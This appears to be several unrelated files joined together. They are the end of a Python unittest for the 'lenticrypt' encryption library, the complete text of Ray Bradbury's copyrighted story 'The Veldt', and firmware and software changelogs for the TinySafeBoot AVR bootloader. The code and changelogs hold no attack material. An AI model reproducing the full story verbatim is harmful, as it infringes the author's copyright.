        ciphertext = "".join(lenticrypt.DictionaryEncrypter(self.substitution_alphabet, map(lambda s : StringIO.StringIO(s), self.plaintexts)))
        for key, plaintext in zip(self.keys, self.plaintexts):
            decrypted = "".join(lenticrypt.decrypt(StringIO.StringIO(ciphertext), StringIO.StringIO(key)))
            self.assertEqual(decrypted, plaintext)

    def test_encoding(self):
        for i in range(5000):
            n = random.randint(1, lenticrypt.MAX_ENCODE_VALUE-1)
            self.assertEqual(n, lenticrypt.decode(lenticrypt.encode(n)))
        # also make sure to test the extremal cases!
        self.assertEqual(0, lenticrypt.decode(lenticrypt.encode(0)))
        self.assertEqual(lenticrypt.MAX_ENCODE_VALUE, lenticrypt.decode(lenticrypt.encode(lenticrypt.MAX_ENCODE_VALUE)))

if __name__ == '__main__':
    unittest.main()
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theveldt.txt

The Veldt
by Ray Bradbury

"George, I wish you'd look at the nursery."
 "What's wrong with it?"
 "I don't know."
 "Well, then."
 "I just want you to look at it, is all, or call a psychologist in to look at it."
 "What would a psychologist want with a nursery?"
 "You know very well what he'd want." His wife paused in the middle of
the kitchen and watched the stove busy humming to itself, making supper for four.
 "It's just that the nursery is different now than it was."
 "All right, let's have a look."
 They walked down the hall of their soundproofed Happylife Home, which
had cost them thirty thousand dollars installed, this house which clothed
and fed and rocked them to sleep and played and sang and was good to them.
Their approach sensitized a switch somewhere and the nursery light flicked
on when they came within ten feet of it. Similarly, behind them, in the
halls, lights went on and off as they left them behind, with a soft
automaticity.
 "Well," said George Hadley.

---

They stood on the thatched floor of the nursery. It was forty feet
across by forty feet long and thirty feet high; it had cost half again
as much as the rest of the house. "But nothing's too good for our
children," George had said.
 The nursery was silent. It was empty as a jungle glade at hot high
noon. The walls were blank and two dimensional. Now, as George and Lydia
Hadley stood in the center of the room, the walls began to purr and recede
into crystalline distance, it seemed, and presently an African veldt
appeared, in three dimensions, on all sides, in color reproduced to the
final pebble and bit of straw. The ceiling above them became a deep sky with
a hot yellow sun.
 George Hadley felt the perspiration start on his brow.
 "Let's get out of this sun," he said. "This is a little too real. But I
don't see anything wrong."
 "Wait a moment, you'll see," said his wife.
 Now the hidden odorophonics were beginning to blow a wind of odor at
the two people in the middle of the baked veldtland. The hot straw smell of
lion grass, the cool green smell of the hidden water hole, the great rusty
smell of animals, the smell of dust like a red paprika in the hot air. And
now the sounds: the thump of distant antelope feet on grassy sod, the papery
rustling of vultures. A shadow passed through the sky. The shadow flickered
on George Hadley's upturned, sweating face.
 "Filthy creatures," he heard his wife say.
 "The vultures."
 "You see, there are the lions, far over, that way. Now they're on
their way to the water hole. They've just been eating," said Lydia. "I
don't know what."
 "Some animal." George Hadley put his hand up to shield off the
burning light from his squinted eyes. "A zebra or a baby giraffe,
maybe."
 "Are you sure?" His wife sounded peculiarly tense.
 "No, it's a little late to be sure," he said, amused. "Nothing over
there I can see but cleaned bone, and the vultures dropping for what's
left."
 "Did you hear that scream?" she asked.
 'No."
 "About a minute ago?"
 "Sorry, no."
 The lions were coming. And again George Hadley was filled with
admiration for the mechanical genius who had conceived this room. A miracle
of efficiency selling for an absurdly low price. Every home should have one.
Oh, occasionally they frightened you with their clinical accuracy, they
startled you, gave you a twinge, but most of the time what fun for everyone,
not only your own son and daughter, but for yourself when you felt like a
quick jaunt to a foreign land, a quick change of scenery. Well, here it was!
 And here were the lions now, fifteen feet away, so real, so feverishly
and startlingly real that you could feel the prickling fur on your hand, and
your mouth was stuffed with the dusty upholstery smell of their heated
pelts, and the yellow of them was in your eyes like the yellow of an
exquisite French tapestry, the yellows of lions and summer grass, and the
sound of the matted lion lungs exhaling on the silent noontide, and the
smell of meat from the panting, dripping mouths.
 The lions stood looking at George and Lydia Hadley with terrible
green-yellow eyes.
 "Watch out!" screamed Lydia.
 The lions came running at them.
 Lydia bolted and ran. Instinctively, George sprang after her. Outside,
in the hall, with the door slammed he was laughing and she was crying, and
they both stood appalled at the other's reaction.
 "George!"
 "Lydia! Oh, my dear poor sweet Lydia!"
 "They almost got us!"
 "Walls, Lydia, remember; crystal walls, that's all they are. Oh, they
look real, I must admit - Africa in your parlor - but it's all dimensional,
superreactionary, supersensitive color film and mental tape film behind
glass screens. It's all odorophonics and sonics, Lydia. Here's my
handkerchief."
 "I'm afraid." She came to him and put her body against him and cried
steadily. "Did you see? Did you feel? It's too real."
 "Now, Lydia..."
 "You've got to tell Wendy and Peter not to read any more on Africa."
 "Of course - of course." He patted her.
 "Promise?"
 "Sure."
 "And lock the nursery for a few days until I get my nerves settled."
 "You know how difficult Peter is about that. When I punished him a
month ago by locking the nursery for even a few hours - the tantrum he
threw! And Wendy too. They live for the nursery."
 "It's got to be locked, that's all there is to it."
 "All right." Reluctantly he locked the huge door. "You've been working
too hard. You need a rest."
 "I don't know - I don't know," she said, blowing her nose, sitting down
in a chair that immediately began to rock and comfort her. "Maybe I don't
have enough to do. Maybe I have time to think too much. Why don't we shut
the whole house off for a few days and take a vacation?"
 "You mean you want to fry my eggs for me?"
 "Yes." She nodded.
 "And dam my socks?"
 "Yes." A frantic, watery-eyed nodding.
 "And sweep the house?"
 "Yes, yes - oh, yes!''
 "But I thought that's why we bought this house, so we wouldn't have to
do anything?"
 "That's just it. I feel like I don't belong here. The house is wife and
mother now, and nursemaid. Can I compete with an African veldt? Can I give a
bath and scrub the children as efficiently or quickly as the automatic scrub
bath can? I cannot. And it isn't just me. It's you. You've been awfully
nervous lately."
 "I suppose I have been smoking too much."
 "You look as if you didn't know what to do with yourself in this house,
either. You smoke a little more every morning and drink a little more every
afternoon and need a little more sedative every night. You're beginning to
feel unnecessary too."
 "Am I?" He paused and tried to feel into himself to see what was really
there.
 "Oh, George!" She looked beyond him, at the nursery door. "Those lions
can't get out of there, can they?"
 He looked at the door and saw it tremble as if something had jumped
against it from the other side.
 "Of course not," he said.

---

At dinner they ate alone, for Wendy and Peter were at a special plastic
carnival across town and had televised home to say they'd be late, to go
ahead eating. So George Hadley, bemused, sat watching the dining-room table
produce warm dishes of food from its mechanical interior.
 "We forgot the ketchup," he said.
 "Sorry," said a small voice within the table, and ketchup appeared.
 As for the nursery, thought George Hadley, it won't hurt for the
children to be locked out of it awhile. Too much of anything isn't
good for anyone. And it was clearly indicated that the children had
been spending a little too much time on Africa. That sun. He could
feel it on his neck, still, like a hot paw. And the lions. And the
smell of blood. Remarkable how the nursery caught the telepathic
emanations of the children's minds and created life to fill their
every desire. The children thought lions, and there were lions. The
children thought zebras, and there were
zebras. Sun—sun. Giraffes—giraffes. Death and death.
 That last. He chewed tastelessly on the meat that the table had cut for
him. Death thoughts. They were awfully young, Wendy and Peter, for death
thoughts. Or, no, you were never too young, really. Long before you knew
what death was you were wishing it on someone else. When you were two years
old you were shooting people with cap pistols.
 But this - the long, hot African veldt-the awful death in the jaws of a
lion. And repeated again and again.
 "Where are you going?"
 He didn't answer Lydia. Preoccupied, he let the lights glow softly on
ahead of him, extinguish behind him as he padded to the nursery door. He
listened against it. Far away, a lion roared.
 He unlocked the door and opened it. Just before he stepped inside, he
heard a faraway scream. And then another roar from the lions, which subsided
quickly.
 He stepped into Africa. How many times in the last year had he opened
this door and found Wonderland, Alice, the Mock Turtle, or Aladdin and his
Magical Lamp, or Jack Pumpkinhead of Oz, or Dr. Doolittle, or the cow
jumping over a very real-appearing moon-all the delightful contraptions of a
make-believe world. How often had he seen Pegasus flying in the sky ceiling,
or seen fountains of red fireworks, or heard angel voices singing. But now,
is yellow hot Africa, this bake oven with murder in the heat. Perhaps Lydia
was right. Perhaps they needed a little vacation from the fantasy which was
growing a bit too real for ten-year-old children. It was all right to
exercise one's mind with gymnastic fantasies, but when the lively child mind
settled on one pattern... ? It seemed that, at a distance, for the past
month, he had heard lions roaring, and smelled their strong odor seeping as
far away as his study door. But, being busy, he had paid it no attention.
 George Hadley stood on the African grassland alone. The lions looked up
from their feeding, watching him. The only flaw to the illusion was the open
door through which he could see his wife, far down the dark hall, like a
framed picture, eating her dinner abstractedly.
 "Go away," he said to the lions.
 They did not go.
 He knew the principle of the room exactly. You sent out your
thoughts.  Whatever you thought would appear. "Let's have Aladdin and
his lamp," he snapped. The veldtland remained; the lions remained.
 "Come on, room! I demand Aladdin!" he said.
 Nothing happened. The lions mumbled in their baked pelts.
 "Aladdin!"
 He went back to dinner. "The fool room's out of order," he said. "It
won't respond."
 "Or--"
 "Or what?"
 "Or it can't respond," said Lydia, "because the children have thought
about Africa and lions and killing so many days that the room's in a rut."
 "Could be."
 "Or Peter's set it to remain that way."
 "Set it?"
 "He may have got into the machinery and fixed something."
 "Peter doesn't know machinery."
 "He's a wise one for ten. That I.Q. of his -"
 "Nevertheless -"
 "Hello, Mom. Hello, Dad."
 The Hadleys turned. Wendy and Peter were coming in the front door,
cheeks like peppermint candy, eyes like bright blue agate marbles, a smell
of ozone on their jumpers from their trip in the helicopter.
 "You're just in time for supper," said both parents.
 "We're full of strawberry ice cream and hot dogs," said the children,
holding hands. "But we'll sit and watch."
 "Yes, come tell us about the nursery," said George Hadley.
 The brother and sister blinked at him and then at each other.
"Nursery?"
 "All about Africa and everything," said the father with false
joviality.
 "I don't understand," said Peter.
 "Your mother and I were just traveling through Africa with rod and
reel; Tom Swift and his Electric Lion," said George Hadley.
 "There's no Africa in the nursery," said Peter simply.
 "Oh, come now, Peter. We know better."
 "I don't remember any Africa," said Peter to Wendy. "Do you?"
 "No."
 "Run see and come tell."
 She obeyed
 "Wendy, come back here!" said George Hadley, but she was gone. The
house lights followed her like a flock of fireflies. Too late, he realized
he had forgotten to lock the nursery door after his last inspection.
 "Wendy'll look and come tell us," said Peter.
 "She doesn't have to tell me. I've seen it."
 "I'm sure you're mistaken, Father."
 "I'm not, Peter. Come along now."
 But Wendy was back. "It's not Africa," she said breathlessly.
 "We'll see about this," said George Hadley, and they all walked down
the hall together and opened the nursery door.
 There was a green, lovely forest, a lovely river, a purple mountain,
high voices singing, and Rima, lovely and mysterious, lurking in the trees
with colorful flights of butterflies, like animated bouquets, lingering in
her long hair. The African veldtland was gone. The lions were gone. Only
Rima was here now, singing a song so beautiful that it brought tears to your eyes.
 George Hadley looked in at the changed scene. "Go to bed," he said to the children.
 They opened their mouths.
 "You heard me," he said.
 They went off to the air closet, where a wind sucked them like brown
leaves up the flue to their slumber rooms.
 George Hadley walked through the singing glade and picked up
something that lay in the comer near where the lions had been. He
walked slowly back to his wife.
 "What is that?" she asked.
 "An old wallet of mine," he said.
 He showed it to her. The smell of hot grass was on it and the smell
of a lion. There were drops of saliva on it, it bad been chewed, and
there were blood smears on both sides.
 He closed the nursery door and locked it, tight.

---

 In the middle of the night he was still awake and he knew his wife was
awake. "Do you think Wendy changed it?" she said at last, in the dark room.
 "Of course."
 "Made it from a veldt into a forest and put Rima there instead of lions?"
 "Yes."
 "Why?"
 "I don't know. But it's staying locked until I find out."
 "How did your wallet get there?"
 "I don't know anything," he said, "except that I'm beginning to be
sorry we bought that room for the children. If children are neurotic at all,
a room like that -"
 "It's supposed to help them work off their neuroses in a healthful
way."
 "I'm starting to wonder." He stared at the ceiling.
 "We've given the children everything they ever wanted. Is this our
reward—secrecy, disobedience?"
 "Who was it said, 'Children are carpets, they should be stepped on
occasionally'? We've never lifted a hand. They're insufferable—let's admit
it. They come and go when they like; they treat us as if we were offspring.
They're spoiled and we're spoiled."
 "They've been acting funny ever since you forbade them to take the
rocket to New York a few months ago."
 "They're not old enough to do that alone, I explained."
 "Nevertheless, I've noticed they've been decidedly cool toward us
since."
 "I think I'll have David McClean come tomorrow morning to have a look
at Africa."
 "But it's not Africa now, it's Green Mansions country and Rima."
 "I have a feeling it'll be Africa again before then."
 A moment later they heard the screams.
 Two screams. Two people screaming from downstairs. And then a roar of
lions.
 "Wendy and Peter aren't in their rooms," said his wife.
 He lay in his bed with his beating heart. "No," he said. "They've
broken into the nursery."
 "Those screams—they sound familiar."
 "Do they?"
 "Yes, awfully."
 And although their beds tried very hard, the two adults couldn't be
rocked to sleep for another hour. A smell of cats was in the night
air.

---

 "Father?" said Peter.
 "Yes."
 Peter looked at his shoes. He never looked at his father any more, nor
at his mother. "You aren't going to lock up the nursery for good, are you?"
 "That all depends."
 "On what?" snapped Peter.
 "On you and your sister. If you intersperse this Africa with a little
variety—oh, Sweden perhaps, or Denmark or China -"
 "I thought we were free to play as we wished."
 "You are, within reasonable bounds."
 "What's wrong with Africa, Father?"
 "Oh, so now you admit you have been conjuring up Africa, do you?"
 "I wouldn't want the nursery locked up," said Peter coldly. "Ever."
 "Matter of fact, we're thinking of turning the whole house off for
about a month. Live sort of a carefree one-for-all existence."
 "That sounds dreadful! Would I have to tie my own shoes instead of
letting the shoe tier do it? And brush my own teeth and comb my hair and
give myself a bath?"
 "It would be fun for a change, don't you think?"
 "No, it would be horrid. I didn't like it when you took out the picture
painter last month."
 "That's because I wanted you to learn to paint all by yourself, son."
 "I don't want to do anything but look and listen and smell; what else
is there to do?"
 "All right, go play in Africa."
 "Will you shut off the house sometime soon?"
 "We're considering it."
 "I don't think you'd better consider it any more, Father."
 "I won't have any threats from my son!"
 "Very well." And Peter strolled off to the nursery.

---

 "Am I on time?" said David McClean.
 "Breakfast?" asked George Hadley.
 "Thanks, had some. What's the trouble?"
 "David, you're a psychologist."
 "I should hope so."
 "Well, then, have a look at our nursery. You saw it a year ago when you
dropped by; did you notice anything peculiar about it then?"
 "Can't say I did; the usual violences, a tendency toward a slight
paranoia here or there, usual in children because they feel persecuted by
parents constantly, but, oh, really nothing."
 They walked down the hall. "I locked the nursery up," explained the
father, "and the children broke back into it during the night. I let them
stay so they could form the patterns for you to see."
 There was a terrible screaming from the nursery.
 "There it is," said George Hadley. "See what you make of it."
 They walked in on the children without rapping.
 The screams had faded. The lions were feeding.
 "Run outside a moment, children," said George Hadley. "No, don't change
the mental combination. Leave the walls as they are. Get!"
 With the children gone, the two men stood studying the lions clustered
at a distance, eating with great relish whatever it was they had caught.
 "I wish I knew what it was," said George Hadley. "Sometimes I can
almost see. Do you think if I brought high-powered binoculars here and -"
 David McClean laughed dryly. "Hardly." He turned to study all four
walls. "How long has this been going on?"
 "A little over a month."
 "It certainly doesn't feel good."
 "I want facts, not feelings."
 "My dear George, a psychologist never saw a fact in his life. He only
hears about feelings; vague things. This doesn't feel good, I tell you.
Trust my hunches and my instincts. I have a nose for something bad. This is
very bad. My advice to you is to have the whole damn room torn down and your
children brought to me every day during the next year for treatment."
 "Is it that bad?"
 "I'm afraid so. One of the original uses of these nurseries was so that
we could study the patterns left on the walls by the child's mind, study at
our leisure, and help the child. In this case, however, the room has become
a channel toward-destructive thoughts, instead of a release away from them."
 "Didn't you sense this before?"
 "I sensed only that you had spoiled your children more than most. And
now you're letting them down in some way. What way?"
 "I wouldn't let them go to New York."
 "What else?"
 "I've taken a few machines from the house and threatened them, a month
ago, with closing up the nursery unless they did their homework. I did close
it for a few days to show I meant business."
 "Ah, ha!"
 "Does that mean anything?"
 "Everything. Where before they had a Santa Claus now they have a
Scrooge. Children prefer Santas. You've let this room and this house replace
you and your wife in your children's affections. This room is their mother
and father, far more important in their lives than their real parents. And
now you come along and want to shut it off. No wonder there's hatred here.
You can feel it coming out of the sky. Feel that sun. George, you'll have to
change your life. Like too many others, you've built it around creature
comforts. Why, you'd starve tomorrow if something went wrong in your
kitchen. You wouldn't know how to tap an egg. Nevertheless, turn everything
off. Start new. It'll take time. But we'll make good children out of bad in
a year, wait and see."
 "But won't the shock be too much for the children, shutting the room up
abruptly, for good?"
 "I don't want them going any deeper into this, that's all."
 The lions were finished with their red feast.
 The lions were standing on the edge of the clearing watching the two
men.
 "Now I'm feeling persecuted," said McClean. "Let's get out of here. I
never have cared for these damned rooms. Make me nervous."
 "The lions look real, don't they?" said George Hadley. I don't suppose
there's any way—"
 "What?"
 "—that they could become real?"
 "Not that I know."
 "Some flaw in the machinery, a tampering or something?"
 "No."
 They went to the door.
 "I don't imagine the room will like being turned off," said the father.
 "Nothing ever likes to die - even a room."
 "I wonder if it hates me for wanting to switch it off?"
 "Paranoia is thick around here today," said David McClean. "You can
follow it like a spoor. Hello." He bent and picked up a bloody scarf. "This
yours?"
 "No." George Hadley's face was rigid. "It belongs to Lydia."
 They went to the fuse box together and threw the switch that killed the
nursery.

---

 The two children were in hysterics. They screamed and pranced and threw
things. They yelled and sobbed and swore and jumped at the furniture.
 "You can't do that to the nursery, you can't!''
 "Now, children."
 The children flung themselves onto a couch, weeping.
 "George," said Lydia Hadley, "turn on the nursery, just for a few
moments. You can't be so abrupt."
 "No."
 "You can't be so cruel..."
 "Lydia, it's off, and it stays off. And the whole damn house dies as of
here and now. The more I see of the mess we've put ourselves in, the more it
sickens me. We've been contemplating our mechanical, electronic navels for
too long. My God, how we need a breath of honest air!"
 And he marched about the house turning off the voice clocks, the
stoves, the heaters, the shoe shiners, the shoe lacers, the body scrubbers
and swabbers and massagers, and every other machine be could put his hand to.
 The house was full of dead bodies, it seemed. It felt like a mechanical
cemetery. So silent. None of the humming hidden energy of machines waiting
to function at the tap of a button.
 "Don't let them do it!" wailed Peter at the ceiling, as if he was
talking to the house, the nursery. "Don't let Father kill everything." He
turned to his father. "Oh, I hate you!"
 "Insults won't get you anywhere."
 "I wish you were dead!"
 "We were, for a long while. Now we're going to really start living.
Instead of being handled and massaged, we're going to live."
 Wendy was still crying and Peter joined her again. "Just a moment, just
one moment, just another moment of nursery," they wailed.
 "Oh, George," said the wife, "it can't hurt."
 "All right—all right, if they'll just shut up. One minute, mind you,
and then off forever."
 "Daddy, Daddy, Daddy!" sang the children, smiling with wet faces.
 "And then we're going on a vacation. David McClean is coming back in
half an hour to help us move out and get to the airport. I'm going to dress.
You turn the nursery on for a minute, Lydia, just a minute, mind you."
 And the three of them went babbling off while he let himself be
vacuumed upstairs through the air flue and set about dressing himself. A
minute later Lydia appeared.
 "I'll be glad when we get away," she sighed.
 "Did you leave them in the nursery?"
 "I wanted to dress too. Oh, that horrid Africa. What can they see in
it?"
 "Well, in five minutes we'll be on our way to Iowa. Lord, how did we
ever get in this house? What prompted us to buy a nightmare?"
 "Pride, money, foolishness."
 "I think we'd better get downstairs before those kids get engrossed
with those damned beasts again."
 Just then they heard the children calling, "Daddy, Mommy, come quick -
quick!"
 They went downstairs in the air flue and ran down the hall. The
children were nowhere in sight. "Wendy? Peter!"
 They ran into the nursery. The veldtland was empty save for the lions
waiting, looking at them. "Peter, Wendy?"
 The door slammed.
 "Wendy, Peter!"
 George Hadley and his wife whirled and ran back to the door.
 "Open the door!" cried George Hadley, trying the knob. "Why, they've
locked it from the outside! Peter!" He beat at the door. "Open up!"
 He heard Peter's voice outside, against the door.
 "Don't let them switch off the nursery and the house," he was saying.
 Mr. and Mrs. George Hadley beat at the door. "Now, don't be ridiculous,
children. It's time to go. Mr. McClean'll be here in a minute and..."
 And then they heard the sounds.
 The lions on three sides of them, in the yellow veldt grass, padding
through the dry straw, rumbling and roaring in their throats.
 The lions.
 Mr. Hadley looked at his wife and they turned and looked back at the
beasts edging slowly forward crouching, tails stiff.
 Mr. and Mrs. Hadley screamed.
 And suddenly they realized why those other screams had sounded
familiar.

---

 "Well, here I am," said David McClean in the nursery doorway, "Oh,
hello." He stared at the two children seated in the center of the open glade
eating a little picnic lunch. Beyond them was the water hole and the yellow
veldtland; above was the hot sun. He began to perspire. "Where are your
father and mother?"
 The children looked up and smiled. "Oh, they'll be here directly."
 "Good, we must get going." At a distance Mr. McClean saw the lions
fighting and clawing and then quieting down to feed in silence under the
shady trees.
 He squinted at the lions with his hand tip to his eyes.
 Now the lions were done feeding. They moved to the water hole to drink.
 A shadow flickered over Mr. McClean's hot face. Many shadows flickered.
The vultures were dropping down the blazing sky.
 "A cup of tea?" asked Wendy in the silence.
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------------------------------------------------------------------------
CHANGELOG TINYSAFEBOOT - FIRMWARE 
------------------------------------------------------------------------
tsb_tinymega.asm
------------------------------------------------------------------------


20140331
Added support for ATtiny441 and ATtiny841: Firmware and installer 
component required some major adjustments due to that creepy 4-pages 
erase mode and missing definitions in the 441 and 841.
--- My explicit thanks go to Geoff S. for his elaborate 
help and testing on this solution! ---
Added safety-interval for RXD-Low-detection: Former TSB directly jumped
into the Application, should RXD not have reached safe logical High- 
level (which stands for regular idle state in TTL-RS232) while TSB is 
being initialized. Seems that this feature causes sporadic bootloader 
lockouts on devices that can only perform power-up-resets and voltages 
not clearly defined from the instance. Now the delay of some tens 
up to hundreds of milliseconds (depending on clock frequency) seems to fix 
this problem and, as a side effect, minimizes risk of being locked-out 
by a too-shortly defined timeout.


20140302
Revisited internal verifying feature (TSB for ATtinys).


20131023
Fixed Hang-up by Watchdog-Reset: On many ATtinys, a Watchdog-Reset will 
leave the Watchdog activated (which is a good feature) but restore its 
Prescaler (amongst other registers), resulting in a rather short 
timing interval until next Reset is triggered by the Watchdog.
Normally this could be easily intercepted within the application's very
own Reset-Routine.
Since TSB is invoked before the Reset part of the Application, it ends
up an infinite loop of Watchdog-re-resetting with virtually no chance
to leave because the short-leashed Watchdog remains active anyway.
Switching off the Watchdog by TSB is no option, if we consider 
that some application's Watchdog may be permanently activated 
by the WDTON fuse.
It is better for TSB not to waste any time if Watchdog is enabled, but 
instantly forward to the Application's Reset-Routine. 
To regain access to TSB, the Application/Hardware can take the 
following measures:
Deactivate the Watchdog and then allow normal Resets - or -
deactivate the Watchdog and directly jump to Address $0000 
(TSB-modified Reset-vector on ATtinys).
On ATmegas, the Application may directly jump to the starting Address 
of TSB, whoose absolute Word-address is half of the value indicated 
as "Appflash" in TSB device info. A switched-off Watchdog may 
be automatically re-enabled by the Application's Reset-routine when 
returned from TSB.
Additional code is about 6 Bytes only. 
Modification applicable to all TSB-devices so far.


20130915
Revisited Assembly source for improved compatibility with open source 
assemblers. Removed some C-stylish preprocessor directives. 
Unified syntax of sbiw/adiw to common sense, i.e. lowbyte-register 
notation. 
No changes in logical structure of the program.


20130902
For ATtinys below 16KB, the rjmp back to application has been simply 
calculated by adding of one pagesize to the jump distance.
This will works fine and will always produce correct rjmps, provided
that the rjmp is located exactly one page below FLASHEND.
The new method calculates the same rjmp that an assembler would have
generated, i.e. it is a backward rjmp not skipping the memory boundary 
and thus seems the most compatible method with regards to future devices
and a different memory location for LASTPAGE. 
Tested so far with some relevant 2-, 4- and 8-KB ATtinys.


20130625
Some bigger ATmegas seem to have lavish sized 'SECONDBOOTSTART' of
512 WORDS instead of Bytes - with reference to SECONDBOOTSTART the 
assembler generated TSB code that has left unused flash of 512 
on top of memory... changed reference by a definition 
((FLASHEND+1)-256) that could not fail.


20130505
Restructured Assembly sourcecode. 
Optimized ATtiny code to approx. 550 Bytes of code length.
Optimized ATmega code to fit into 512-bytes Bootloader Section.


20130414
Modified assembly with respect to further ATtinys with strange 
I/O-ports assignments. 
Some properties now recognized in a more universal way, e.g. 
Pagesize and Flashsize, both requiring adjustments in the code.
Minor improvements in coding.
Extensive use of 'conditional assembly':
One and the same .asm sourcefile should do well for all ATtinys 
and other devices in question
Same sourcecode may be 'switched' by setting one equate at the 
beginning to make either a customized version of TSB 
(with own port assignments), a TSB-Installer or a TSB-Template
in manual assembly.
TO-DOs: Testing with certain ATmegas.


20130216
Improved integrity check for TSB-Installer: 
Calculates simple 16-bit checksum over all relevant contents of 
TSB-Installer and TSB-Firmware, which is to be compared with the value 
that's been packed into the 1st page of the Installer while 
TSB-Software made the customized TSB-Installer from a template.
If equal - upload is supposed to be correct and Installer is safe to
continue with deactivation of the old bootloader, copy/verify of the 
new bootloader's code etc.
If NOT equal - program won't change anything and the old bootloader 
remains in force.


20130210
Change of builddate format in device info block (permanent data):
Unlike previous versions of TSB, that actually took three bytes 
only for the date information, the new format is more efficient but 
still easy to implement in the assembly source. 
Chosen format allows to represent all dates from the year 2000 
up to the year 2127 with good binary efficiency, thus leaving the 
third byte free for any other purpose. 
E.g. these precious 8 bits might contain additional info on project 
status, authorship or security information.
No functional or other relevant changes in TSB-firmware that far.


20130106
- Failsafe startup despite weak pullup on RXD-portline:
if RXD is LOW from the beginning, the bootloader will not wait 
for timeout but directly forward to the Application.
- Fixed assembly for ATtiny87.


20121216
Merged TSB_base with an 'Installer' component to build some regular 
application (starting at $0000 with reset vector) which can be uploaded 
either by ISP or by way of a bootloader that is already residing 
on the ATtiny!
Normally this application is only 'run-once'. It will automatically 
change the existing bootloader with the new TSB version brought along, 
and finally remove itself from memory.
Safety precautions have been taken against possible corruption
of data or power-outage.
Note: Other methods such as external serial downloader components, 
dual-bootloader arrangements, etc. have been considered and found 
inapplicable with respect to the limited memory on many ATtinys.
The proposed method won't waste any additional memory after the 
transfer is complete.
The result is exactly the same as if the respective TSB-firmware 
had been uploaded directly to the target address by way of ISP.
(Refer to the source code for details.)  


20121123
Introduced conditional assembly to re-integrate all supported 
ATtinys in one assembler source again.

20121116
- Consolidated port handling with respect to one/two-wire operation:
In a two-wire configuration (e.g. D0 for RXD and D1 for TXD), the 
firmware treats TXD as a normal port output, i.e. both logical ones 
and zeroes are actively driven (sourcing and sinking 
output). Reasonably this will provide the best compatibility with 
common levelshifters like MAX232, PL230x, LT280x etc. or interfacing
with sensitive HCMOS-inputs.
Yet in one-wire configuration, that is alternating TX- and RX-
transactions over the same portline, when it comes to data transmission,
the firmware will control the port by the proven open-collector method 
to safely prevent electrical conflicts with an attached CIV-interface.
Fortunately and thanks to some code restructuring/optimization,
in sum the tsb-firmware code grew only 2 bytes longer :-)

20120902
- 'One-Wire': Applied new method of portline handling to make it possible
combining both portlines for serial communications to one wire
(aka 'CIV-interface').
The RXD assigned portline is normally configured as an input.
The TXD assigned portline is now acting an output with open-collector
characteristics.
This allows to use the same portbit for RXD and TXD and thus make 
direct connection to a One-wire serial adaptor with no logical or
electronic conflicts arising, since rx/tx is already performed at
discrete times (half-duplex) and the high-level is conveniently
defined as the stopbit/idle state in TTL-RS232 logic.
For one-wire it is therefore recommended to apply one pullup-resistor
to ensure sufficient rise times and signal levels (especially when
using more simple adaptors that draw all current from the RS232).
To make the TSB bootloader for One-wire, you can simply generate the
firmware via TSB-software, specifying the same portline for input
and output! Of course you may also copy and change the sourcefile
'tsb_base.asm' and assemble 'manually'.
This new programming does not interfere with normal two-wired
RS232 designs. With level converters like MAX232 or USB-COM-interface,
like FT232, you may not even need additional pullup for TXD, since
these chips feature internal pullups. Yet, the PL2302 apparently needs
one pullup for its serial input line (thanks: OD).
- Minor improvements in the code saved some bytes, so we are
still around 560 Bytes with full-featured tsb :-)
- Security: Former version of Password check was already 'silent', 
but it turned to start the Application with some delay when the 
first wrong character was submit. One could try to automatically
hack the password by detecting the actual start of the Application, 
then try a slightly different password string and so on. 
NOW, the password checking routine will react only after the full 
and correct password has been submit (or Emergency Erase was
requested). Any other approach will start an infinite loop that 
could only be stopped by hardware RESET on the MCU.
From the outside, both states, regularly awaiting further password 
characters or hangup, look the same. (Yes, with elaborate methods 
like power analysis or tampering rf-spectral differences, it may be
possible to distinguish both states.)
- Revisited protocol and timing with no major changes.
- Optimized calibration/timing loop  
- Reformatted assembly source.

20110921	
Initially published fully functional version. No 'official' updates yet.

***
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------------------------------------------------------------------------
CHANGELOG TINYSAFEBOOT - SOFTWARE
------------------------------------------------------------------------
tsb-executables
------------------------------------------------------------------------

20140401
Updated database and port ressources for 2 new devices: 
ATtiny441 and ATtin841 (TSB-FW 20140331)
Added One-Wire-Detection notification.
Added full Devicename to Device-Info.
Minor internal code-improvements.


20140302
Code revisited. Updated database of TSB-FW 20140302.


20131023
Code revisited. Updated database of TSB-FW 20131023.


20130915
File format (hex or binary) now autodetected when data is loaded to 
write or verify.
Added display of absolute Flash size to device info block.



20130902
Updated TSB-Software with TSB-FW 20130902. 
New firmware performs different handling of rjmp to Application. 
Added support for both valid directions of an rjmp in User Data field. 
This is only relevant for the read-back of application firmware from
flash with ATtinys up to 8 KB to reconstruct the original rjmp Reset 
correctly.


20130831
Password-changing: Old password is now fully overwritten in memory
when being replaced by shorter one.
Display of APPJUMP on ATmegas corrected from "FFFF" 
to always show "0000", regardless of any values written to LASTPAGE.
Emergency-Erase: Improved re-check of accessability of TSB after 
some Emergency Erase has been engaged (no misleading ERROR note).


20130625
Updated TSB-Software with TSB-FW 20130625 (see changelog_fw).
Fixed a silly lower/uppercase bug in conjunction with firmware template
search that caused some devices not to be found.


20130505
Updated TSB-Software with new TSB-Installer/Firmware database
(116 devices currently supported).


20130428
Corrected wrong calculation of checksum that could lead 
TSB-Installers not to install under some conditions.


20130414
Support for tn1634 and tn88 integrated into database.
Support for ATmegas (experimental).
Restructuring of database for TSB-Templates and tightened programming.
Integrated list of port mappings for all current ATtinys and ATmegas 
to eliminate the need for 'exemptions' in future programming.
No generation of code for nonexisting Ports.
FlashRead and FlashVerify: Analysis of the last bytes in Device Info 
Block to determine whether the target device is an ATtiny (rjmp), 
ATtiny with 16 KB up (jmp) or ATmega (reset vector not relevant). 


20130217
Implemented checksum for customized TSB-Installers. While previous 
Installer only checked for a bunch of ASCII characters in the last 
page of TSB-Firmware, now a checksum is calculated (by means of 
modulo 2^16 sum) over all pages containing relevant code of the 
TSB-Installer and the attached TSB-Firmware. 
These two bytes are calculated in the course of making a customized 
TSB-Installer from a (internal or external) Installer template. 
When processing external TSB-Firmware (without Installer routines),
no checksum feature will be implemented.


20130210
Adapted TSB firmware for modified date format. Previous TSB still 
supported (i.e. date shown correctly).
Integrated new firmware templates into TSB.BAS.


20130108
Integration of modified TSB-FW 20130106. 
Re-integrated support for ATtiny87.


20121222
Customized firmware feature: It will now deliver TSB-Installers. 
The autogenerated filename of them directly represents the firmware's 
coding date instead of the current date. 
(Please have a look at the firmware's changelog and assembly source 
for details on the proposed installer mechanism.)
Firmware-Read: Empty (erased) pages that contain only $FF bytes will
be stripped from the firmware file that's read back by the tool. 


20121123
